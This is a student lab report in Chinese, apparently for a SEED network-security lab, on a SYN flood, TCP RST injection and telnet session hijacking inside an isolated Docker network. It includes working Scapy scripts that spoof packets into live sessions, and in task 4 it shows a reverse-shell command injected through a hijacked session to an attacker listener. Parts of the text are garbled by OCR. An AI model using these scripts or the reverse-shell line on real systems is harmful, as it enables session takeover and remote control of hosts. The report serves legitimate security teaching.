# lab2-report

## 571118106 强珂阳

#### task 1

在攻击前 telnet 目标主机,发现可以正常进行 telnet 连接

```
[07/12/21]seed@VM:~/.../Labsetup$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
9d1345387b47 login: seed
Password:
在 victim 上禁用 SYN Cookies 并且关闭内核缓解措施
root@9d1345387b47:/# ip tcp_metrics show
10.9.0.1 age 221.012sec cwnd 10 rtt 53us rttvar 69us source 10.9.0.5
root@9d1345387b47:/# ip tcp_metrics flush
root@9d1345387b47:/# ip tcp metrics show
root@9d1345387b47:/#
编译代码进行攻击
root@VM:/volumes# synflood 10.9.0.5 23
在 victim 中用 netstat -nat 来查看
root@9d1345387b47:/# netstat nat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address
                                            Foreign Address
          0
                 0 9d1345387b47:telnet
                                            ec2-15-206-229-8.:63873 SYN RECV
tcp
                 0 9d1345387b47:telnet
                                            74.89.126.5:41420
                                                                    SYN RECV
                                            ip1f13f75e.dynami:59692 SYN RECV
tcp
          0
                 0 9d1345387b47:telnet
          0
                 0 9d1345387b47:telnet
                                            035-147-096-080.r:62912 SYN RECV
tcp
                0 9d1345387b47:telnet
                                            mobile-107-253-87:44181 SYN RECV
tcp
          0
                0 9d1345387b47:telnet
                                           0.39.46.124:58627
                                                                    SYN RECV
tcp
                                          pda6ed717.tubecm0:30589 SYN RECV
          0
                0 9d1345387b47:telnet
tcp
               0 9d1345387b47:telnet 102.175.117.109:14813 SYN_RECV 0 9d1345387b47:telnet 179.107.72.100:12235 SYN_RECV 0 9d1345387b47:telnet 889-154-15-70.sta:46228 SYN_RECV 0 9d1345387b47:telnet 110.188 12.80:8000 SYN_RECV
          0
tcp
          0
tcp
tcp
tcp
          0
                  0 9d1345387b47:telnet
                                            119.188.12.89:8909
                                                                    SYN RECV
                0 9d1345387b47:telnet
                                           194.68.244.20:26795
                                                                    SYN RECV
          0
tcp
说明只进行了第一次握手
利用 user1 telnet victim 发现失败
[07/12/21]seed@VM:~/.../Labsetup$ docksh 51
```

将 victim 的 SYN cookie 机制打开

Trying 10.9.0.5...

root@516b04404e33:/# telnet 10.9.0.5

```
Victim:
      image: handsonsecurity/seed-ubuntu:large
      container name: victim-10.9.0.5
      tty: true
      cap_add:
               - ALL
      sysctls:
               - net.ipv4.tcp syncookies=1
再次尝试攻击, user1 可以和 victim 进行连接
root@516b04404e33:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
9d1345387b47 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management:
                  https://landscape.canonical.com
* Support:
                  https://ubuntu.com/advantage
```

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/\*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted bv 并且 victim 里面有与 user1 成功建立连接的一条记录

tcp 0 0 9d1345387b47:telnet user1-10.9.0.6.ne:42534 ESTABLISHED 说明攻击不奏效

# task 2

user1 和 victim 之间建立 telnet 连接并通过 wireshark 查看 seg 和 ack 值

No	. Time	Source	Destination	Protocol L	ength Info
	138 2021-07-12 09:5	10.9.0.5	10.9.0.6	TELNET	478 Telnet Data
	139 2021-07-12 09:5		10.9.0.6	TCP	478 [TCP Retransmission] 23 → 42564 [PSH, ACK] Seq=469136768 Ack=
	140 2021-07-12 09:5		10.9.0.5	TCP	68 42564 → 23 [ACK] Seq=1558185509 Ack=469137178 Win=64128 Len=0
					68 [TCP Dup ACK 140#1] 42564 → 23 [ACK] Seq=1558185509 Ack=46913
	142 2021-07-12 09:5	10.9.0.5	10.9.0.6	TELNET	152 Telnet Data
	143 2021-07-12 09:5	10.9.0.5	10.9.0.6	TCP	152 [TCP Retransmission] 23 → 42564 [PSH, ACK] Seq=469137178 Ack=
	144 2021-07-12 09:5		10.9.0.5	TCP	68 42564 → 23 [ACK] Seq=1558185509 Ack=469137262 Win=64128 Len=0
	145 2021-07-12 09:5				68 [TCP Dup ACK 144#1] 42564 → 23 [ACK] Seq=1558185509 Ack=46913
	146 2021-07-12 09:5	10.9.0.5	10.9.0.6	TELNET	89 Telnet Data
	147 2021-07-12 09:5	10.9.0.5	10.9.0.6	TCP	89 [TCP Retransmission] 23 → 42564 [PSH, ACK] Seq=469137262 Ack=
	148 2021-07-12 09:5	10.9.0.6	10.9.0.5	TCP	68 42564 → 23 [ACK] Seq=1558185509 Ack=469137283 Win=64128 Len=0
L	149 2021-07-12 09:5	10.9.0.6	10.9.0.5	TCP	68 [TCP Dup ACK 148#1] 42564 → 23 [ACK] Seq=1558185509 Ack=46913
Frame 1: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) on interface any, id 0 Linux cooked capture Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5 Transmission Control Protocol, Src Port: 42564, Dst Port: 23, Seq: 1558185418, Len: 0					

#### 构造脚本

```
| The content of the
```

#### 运行

```
root@VM:/volumes# tel.py
          : BitField (4 bits)
: BitField (4 bits)
version
                                                     = 4
                                                                         (4)
ihl
                                                     = None
                                                                         (None)
            : XByteField
tos
                                                     = 0
                                                                         (0)
            : ShortField
                                                                         (None)
                                                     = None
len
id
            : ShortField
                                                     = 1
                                                                         (1)
                                                                         (<Flag 0 ()>)
flags
            : FlagsField (3 bits)
                                                     = \langle Flag 0 () \rangle
            : BitField (13 bits)
                                                     = 0
                                                                         (0)
frag
ttl
            : ByteField
                                                     = 64
                                                                         (64)
proto
            : ByteEnumField
                                                     = 6
                                                                         (0)
            : XShortField
                                                     = None
chksum
                                                                         (None)
src
            : SourceIPField
                                                     = '10.9.0.6'
                                                                         (None)
                                                     = '10.9.0.5'
            : DestIPField
dst
                                                                         (None)
options
            : PacketListField
                                                     = []
                                                                         ([])
sport
           : ShortEnumField
                                                     = 42564
                                                                         (20)
dport
            : ShortEnumField
                                                     = 23
                                                                         (80)
            : IntField
                                                     = 1558185509
                                                                         (0)
sea
            : IntField
                                                     = 469137283
ack
                                                                         (0)
dataofs
            : BitField (4 bits)
                                                     = None
                                                                         (None)
           : BitField (3 bits)
reserved
                                                     = 0
                                                                         (0)
            : FlagsField (9 bits)
                                                     = <Flag 20 (RA)>
                                                                         (<Flag 2 (S)>)
flags
            : ShortField
                                                     = 8192
                                                                         (8192)
window
chksum
            : XShortField
                                                                         (None)
                                                     = None
                                                                         (0)
(b'')
urgptr
            : ShortField
                                                     = 0
            : TCPOptionsField
options
                                                     = []
root@VM:/volumes#
```

## telnet 连接中断

```
To restore this content, you can run the 'unminimize' command.

Last login: Mon Jul 12 13:42:00 UTC 2021 from user1-10.9.0.6.net-10.9.0.0 on pts/2

seed@9d1345387b47:~$ Connection closed by foreign host.

root@516b04404e33:/# ■
```

### 也可以用以下代码自动构造

```
1#!/usr/bin/env python3
2 from scapy.all import
3 \text{ pkts} = []
5 def add(pkt):
          pkts.append(pkt)
8 def spoof_pkt(pkt):
          ip = IP(src="10.9.0.6", dst="10.9.0.5")
10
11tcp =TCP(sport=pkt[TCP].sport, dport=23, flags="RA", seq=pkt[TCP].seq, ack=pkt[TCP].ack)
12
          pkt = ip/tcp
13
          ls(pkt)
          send(pkt, verbose=0)
14
15
16 pkt = sniff(filter='tcp and src host 10.9.0.6 and dst host 10.9.0.5 and dst port 23',
  prn=add)spoof_pkt(pkts[-1])
```

# task 3

同 task2, 通过 wireshark 构造.py 文件

```
Open ▼ 🗐
                          tel2.py
                                                                                  tel.py
1#!/usr/bin/env python3
2 from scapy.all import *
3ip = IP(src="10.9.0.6", dst="10.9.0.5")
4tcp = TCP(sport=42592, dport=23, flags="A", seq=494748099, ack=3755210973)
5 data = "mkdir qqq\r"
6 pkt = ip/tcp/data
7 ls(pkt)
8 send(pkt, verbose=0)
运行
root@VM:/volumes# tel2.py
version
         : BitField (4 bits)
                                                = 4
                                                                  (4)
           : BitField (4 bits)
                                                = None
                                                                  (None)
ihl
          : XByteField
                                                = 0
tos
                                                                  (0)
           : ShortField
len
                                                = None
                                                                  (None)
           : ShortField
id
                                                = 1
                                                                  (1)
flags
           : FlagsField (3 bits)
                                                = <Flag 0 ()>
                                                                  (<Flag 0 ()>)
frag
           : BitField (13 bits)
                                                = 0
                                                                  (0)
           : ByteField
                                                = 64
ttl
                                                                  (64)
                                                = 6
proto
           : ByteEnumField
                                                                  (0)
chksum
           : XShortField
                                                = None
                                                                  (None)
src
           : SourceIPField
                                                = '10.9.0.6'
                                                                  (None)
                                                = '10.9.0.5'
dst
          : DestIPField
                                                                  (None)
          : PacketListField
options
                                                = []
                                                                  ([])
                                                = 42592
sport
           : ShortEnumField
                                                                  (20)
dport
           : ShortEnumField
                                                = 23
                                                                  (80)
           : IntField
                                                = 494748099
                                                                  (0)
seq
           : IntField
                                                = 3755210973
                                                                  (0)
ack
dataofs
           : BitField
                      (4 bits)
                                                = None
                                                                  (None)
reserved
           : BitField (3 bits)
                                                = 0
                                                                  (0)
flags
           : FlagsField (9 bits)
                                                = <Flag 16 (A)>
                                                                  (<Flag 2 (S)>)
                                                = 8192
window
           : ShortField
                                                                  (8192)
chksum
          : XShortField
                                                = None
                                                                  (None)
          : ShortField
urgptr
                                                = 0
                                                                  (0)
                                                                  (b'')
           : TCPOptionsField
options
                                                = []
           : StrField
                                                = b'mkdir qqq\r' (b'')
root@VM:/volumes#
查看 victim 成功在/home/seed 下创建了 ggg
root@9d1345387b47:/home# cd seed
root@9d1345387b47:/home/seed# ls
qqq
root@9d1345387b47:/home/seed#
```

## task 4

```
Open ▼ 🗐
1#!/usr/bin/env python3
2 from scapy.all import *
3 \text{ pkts} = []
4 def add(pkt):
         pkts.append(pkt)
6 def spoof_pkt(pkt):
          ip = IP(src="10.9.0.6", dst="10.9.0.5")
8
          tcp =TCP(sport=pkt[TCP].sport, dport=23, flags="A", seq=pkt[TCP].seq, ack=pkt[TCP].ack)
9
          data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r
          newpkt = ip/tcp/data
10
11
          ls(newpkt)
12
          send(newpkt,verbose=0)
13 pkt = sniff(filter='tcp and src host 10.9.0.6 and dst host 10.9.0.5 and dst port23', prn=add)
14 spoof pkt(pkts[-1])
```

运行后拿到 victim 的 shell

root@VM:/volumes# nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 32924
root@9d1345387b47:/#